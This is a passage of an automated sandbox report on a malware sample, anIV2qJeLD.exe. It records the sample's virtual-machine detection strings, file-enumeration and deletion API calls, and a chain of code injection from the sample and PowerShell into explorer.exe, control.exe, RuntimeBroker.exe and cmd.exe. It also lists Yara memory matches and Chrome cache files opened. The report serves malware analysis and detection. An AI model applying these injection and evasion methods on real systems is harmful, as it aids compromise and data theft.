Process information set: NOOPENFILEERRORBOX |
|
Source: C:\Windows\explorer.exe |
Process information set: NOOPENFILEERRORBOX |
|
Source: C:\Windows\explorer.exe |
Process information set: NOOPENFILEERRORBOX |
|
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
|
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
|
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
|
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
|
Source: explorer.exe, 00000016.00000000.837460633.000000000A60E000.00000004.00000001.sdmp |
Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b} |
Source: explorer.exe, 00000016.00000000.865764312.000000000A64D000.00000004.00000001.sdmp |
Binary or memory string: War&Prod_VMware_SATALL |
Source: RuntimeBroker.exe, 00000021.00000000.982425104.00000235BF29F000.00000004.00000001.sdmp |
Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} |
Source: explorer.exe, 00000016.00000000.837460633.000000000A60E000.00000004.00000001.sdmp |
Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b} |
Source: RuntimeBroker.exe, 0000001C.00000000.935529304.000001B4F862A000.00000004.00000001.sdmp |
Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ll |
Source: mshta.exe, 0000000C.00000003.775013130.00000116EEC22000.00000004.00000001.sdmp |
Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}sI$ |
Source: explorer.exe, 00000016.00000000.853506674.0000000004710000.00000004.00000001.sdmp |
Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm |
Source: explorer.exe, 00000016.00000000.843356793.000000000A716000.00000004.00000001.sdmp |
Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/ |
Source: RuntimeBroker.exe, 00000019.00000000.887390945.0000027D4E762000.00000004.00000001.sdmp |
Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000 |
Source: explorer.exe, 00000016.00000000.837683193.000000000A784000.00000004.00000001.sdmp |
Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@ |
Source: PING.EXE, 00000020.00000002.984441946.000001F4F0F29000.00000004.00000020.sdmp |
Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllKK |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FDE9AC lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, |
1_2_01FDE9AC |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FE999E lstrcmp,FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, |
1_2_01FE999E |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FEA2FE lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, |
1_2_01FEA2FE |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FEE9AC memset,FindFirstFileW,memset,wcscpy,RtlEnterCriticalSection,RtlLeaveCriticalSection,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,FindNextFileW,WaitForSingleObject,FindClose, |
40_2_00FEE9AC |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FF999E FindFirstFileW,FindNextFileW,FindClose,FreeLibrary, |
40_2_00FF999E |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FFA2FE lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, |
40_2_00FFA2FE |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Memory written: C:\Windows\System32\control.exe base: 7FF708FB12E0 |
Jump to behavior |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Memory written: C:\Windows\System32\control.exe base: D40000 |
Jump to behavior |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Memory written: C:\Windows\System32\control.exe base: 7FF708FB12E0 |
Jump to behavior |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Memory written: C:\Windows\explorer.exe base: 9F6000 |
Jump to behavior |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Memory written: C:\Windows\explorer.exe base: 7FFABD4F1580 |
Jump to behavior |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Memory written: C:\Windows\explorer.exe base: 2B30000 |
Jump to behavior |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Memory written: C:\Windows\explorer.exe base: 7FFABD4F1580 |
Jump to behavior |
Source: C:\Windows\System32\control.exe |
Memory written: C:\Windows\explorer.exe base: 9FA000 |
|
Source: C:\Windows\System32\control.exe |
Memory written: C:\Windows\explorer.exe base: 7FFABD4F1580 |
|
Source: C:\Windows\System32\control.exe |
Memory written: C:\Windows\explorer.exe base: 2B60000 |
|
Source: C:\Windows\System32\control.exe |
Memory written: C:\Windows\explorer.exe base: 7FFABD4F1580 |
|
Source: C:\Windows\System32\control.exe |
Memory written: C:\Windows\System32\rundll32.exe base: 7FF67FB65FD0 |
|
Source: C:\Windows\System32\control.exe |
Memory written: C:\Windows\System32\rundll32.exe base: 2970C560000 |
|
Source: C:\Windows\System32\control.exe |
Memory written: C:\Windows\System32\rundll32.exe base: 7FF67FB65FD0 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 8C7CFFB000 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 27D4F3D0000 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\cmd.exe base: 7FF622087380 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7386889000 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\cmd.exe base: 228E6D20000 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\cmd.exe base: 7FF622087380 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1B4FA800000 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BD2181000 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1DA4C230000 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: D3C5BDD000 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 235C0BD0000 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: F684018000 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 298653F0000 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\SysWOW64\cmd.exe base: 11E6FC0 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\SysWOW64\cmd.exe base: 9F0000 |
|
Source: C:\Windows\explorer.exe |
Memory written: C:\Windows\SysWOW64\cmd.exe base: 11E6FC0 |
|
Source: C:\Windows\System32\cmd.exe |
Memory written: C:\Windows\System32\PING.EXE base: 7FF66ACA3320 |
|
Source: C:\Windows\System32\cmd.exe |
Memory written: C:\Windows\System32\PING.EXE base: 1F4F0EC0000 |
|
Source: C:\Windows\System32\cmd.exe |
Memory written: C:\Windows\System32\PING.EXE base: 7FF66ACA3320 |
|
Source: C:\Windows\System32\control.exe |
Memory protected: C:\Windows\explorer.exe base: 7FFABD4F1580 protect: page execute and read and write |
Source: C:\Windows\System32\control.exe |
Memory protected: C:\Windows\explorer.exe base: 7FFABD4F1580 protect: page execute read |
Source: C:\Windows\System32\control.exe |
Memory protected: C:\Windows\explorer.exe base: 7FFABD4F1580 protect: page execute and read and write |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute and read and write |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute read |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute and read and write |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute and read and write |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute read |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute and read and write |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute and read and write |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute read |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute and read and write |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute and read and write |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute read |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute and read and write |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute and read and write |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute read |
Source: C:\Windows\explorer.exe |
Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute and read and write |
Source: explorer.exe, 00000016.00000000.855987262.0000000000AD8000.00000004.00000020.sdmp |
Binary or memory string: ProgmanMD6 |
Source: control.exe, 00000014.00000000.823797998.0000027A713E0000.00000002.00020000.sdmp, explorer.exe, 00000016.00000000.848064670.0000000001080000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000019.00000000.887067062.0000027D4CC60000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001C.00000002.1198527861.000001B4F8C60000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001F.00000000.962642219.000001DA4A460000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.990187283.00000235BF790000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000023.00000000.1042620423.0000029865990000.00000002.00020000.sdmp |
Binary or memory string: Program Manager |
Source: control.exe, 00000014.00000000.823797998.0000027A713E0000.00000002.00020000.sdmp, explorer.exe, 00000016.00000000.860866821.0000000005E50000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000019.00000000.887067062.0000027D4CC60000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001C.00000002.1198527861.000001B4F8C60000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001F.00000000.962642219.000001DA4A460000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.990187283.00000235BF790000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000023.00000000.1042620423.0000029865990000.00000002.00020000.sdmp |
Binary or memory string: Shell_TrayWnd |
Source: control.exe, 00000014.00000000.823797998.0000027A713E0000.00000002.00020000.sdmp, explorer.exe, 00000016.00000000.848064670.0000000001080000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000019.00000000.887067062.0000027D4CC60000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001C.00000002.1198527861.000001B4F8C60000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001F.00000000.962642219.000001DA4A460000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.990187283.00000235BF790000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000023.00000000.1042620423.0000029865990000.00000002.00020000.sdmp |
Binary or memory string: Progman |
Source: control.exe, 00000014.00000000.823797998.0000027A713E0000.00000002.00020000.sdmp, explorer.exe, 00000016.00000000.848064670.0000000001080000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000019.00000000.887067062.0000027D4CC60000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001C.00000002.1198527861.000001B4F8C60000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001F.00000000.962642219.000001DA4A460000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.990187283.00000235BF790000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000023.00000000.1042620423.0000029865990000.00000002.00020000.sdmp |
Binary or memory string: Progmanlock |
Source: explorer.exe, 00000016.00000000.843356793.000000000A716000.00000004.00000001.sdmp |
Binary or memory string: Shell_TrayWnd5D |
Source: Yara match |
File source: 00000028.00000003.1067142468.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000000D.00000003.822024782.00000168B2DDC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001F.00000002.1197409376.000001DA4C802000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.754079690.00000000046BC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708603588.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000002.892663424.000002970CDCC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000003.889480040.000002970CDCC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000002.989095678.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708583550.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000003.960938374.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000003.964489842.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708535895.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000003.890926362.000002970CDCC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.753558505.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708632359.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067279297.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000019.00000002.1206306739.0000027D4FA02000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000003.880882500.0000027A72C3C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067191125.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001C.00000002.1205830765.000001B4FB402000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000002.894411476.0000027A72C3C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000023.00000002.1196630517.0000029866E02000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067358328.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000003.964378185.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708655559.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000003.826726374.0000027A72C3C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000002.985827192.000001F4F175C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000003.961019371.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708643513.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000003.826674348.0000027A72C3C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067387619.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708560736.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000003.974756035.000001F4F175C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067321148.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067077802.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067242360.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.811532515.0000000005CA8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000002.1069046396.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000021.00000002.1061702784.00000235C1E02000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067447371.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708619404.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000003.974847238.000001F4F175C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.752543235.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: Process Memory Space: anIV2qJeLD.exe PID: 6968, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: powershell.exe PID: 5180, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: control.exe PID: 4936, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 3656, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: rundll32.exe PID: 4972, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: cmd.exe PID: 6752, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 4268, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 4772, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: PING.EXE PID: 2280, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 5844, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 6656, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: cmd.exe PID: 1380, type: MEMORYSTR |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.42994a0.11.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.42994a0.11.raw.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.47ba4a0.1.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.48394a0.3.raw.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.47ba4a0.1.raw.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.2.anIV2qJeLD.exe.3c50000.2.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.4864ef8.2.raw.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 00000020.00000000.973836822.000001F4F1140000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000000.824591176.0000000000CA0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.753488992.00000000047BA000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001F.00000000.978653062.000001DA4C260000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000021.00000000.1012362960.00000235C1B40000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000023.00000000.1042231528.0000029865350000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000000.822930430.0000000000CA0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000000.933683599.00000228E7000000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000000.934438300.00000228E7000000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000000.885186030.000002970C7F0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000000.972065324.000001F4F1140000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000019.00000000.899852132.0000027D4F800000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000021.00000000.1024798927.00000235C1B40000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000000.925739991.00000228E7000000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.753518401.0000000004839000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000023.00000000.1039859823.0000029865350000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000019.00000000.895713343.0000027D4F800000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000000.970372197.000001F4F1140000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000000.887028110.000002970C7F0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001C.00000000.947593693.000001B4FABB0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001C.00000000.936725813.000001B4FABB0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001F.00000000.974956334.000001DA4C260000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000000.825845900.0000000000CA0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001F.00000000.970221418.000001DA4C260000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.961075351.0000000004299000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000000.883404432.000002970C7F0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000019.00000000.905548648.0000027D4F800000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000002.968828960.00000000044C0000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001C.00000000.942244917.000001B4FABB0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000000D.00000002.918958280.00000168AA1CC000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000023.00000000.1037934763.0000029865350000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000021.00000000.1018627233.00000235C1B40000.00000040.00020000.sdmp, type: MEMORY |
Source: C:\Windows\explorer.exe |
File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000008 |
Source: C:\Windows\explorer.exe |
File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000009 |
Source: C:\Windows\explorer.exe |
File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000007 |
Source: C:\Windows\explorer.exe |
File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_00000a |
Source: C:\Windows\explorer.exe |
File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_00000b |
Source: C:\Windows\explorer.exe |
File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\index |
Source: C:\Windows\explorer.exe |
File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_0 |
Source: C:\Windows\explorer.exe |
File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_1 |
Source: C:\Windows\explorer.exe |
File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_2 |
Source: C:\Windows\explorer.exe |
File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_3 |
Source: C:\Windows\explorer.exe |
File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000001 |
Source: C:\Windows\explorer.exe |
File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000004 |
Source: C:\Windows\explorer.exe |
File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000005 |
Source: C:\Windows\explorer.exe |
File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000002 |
Source: Yara match |
File source: 00000028.00000003.1067142468.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000000D.00000003.822024782.00000168B2DDC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001F.00000002.1197409376.000001DA4C802000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.754079690.00000000046BC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708603588.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000002.892663424.000002970CDCC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000003.889480040.000002970CDCC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000002.989095678.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708583550.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000003.960938374.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000003.964489842.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708535895.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000003.890926362.000002970CDCC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.753558505.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708632359.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067279297.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000019.00000002.1206306739.0000027D4FA02000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000003.880882500.0000027A72C3C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067191125.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001C.00000002.1205830765.000001B4FB402000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000002.894411476.0000027A72C3C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000023.00000002.1196630517.0000029866E02000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
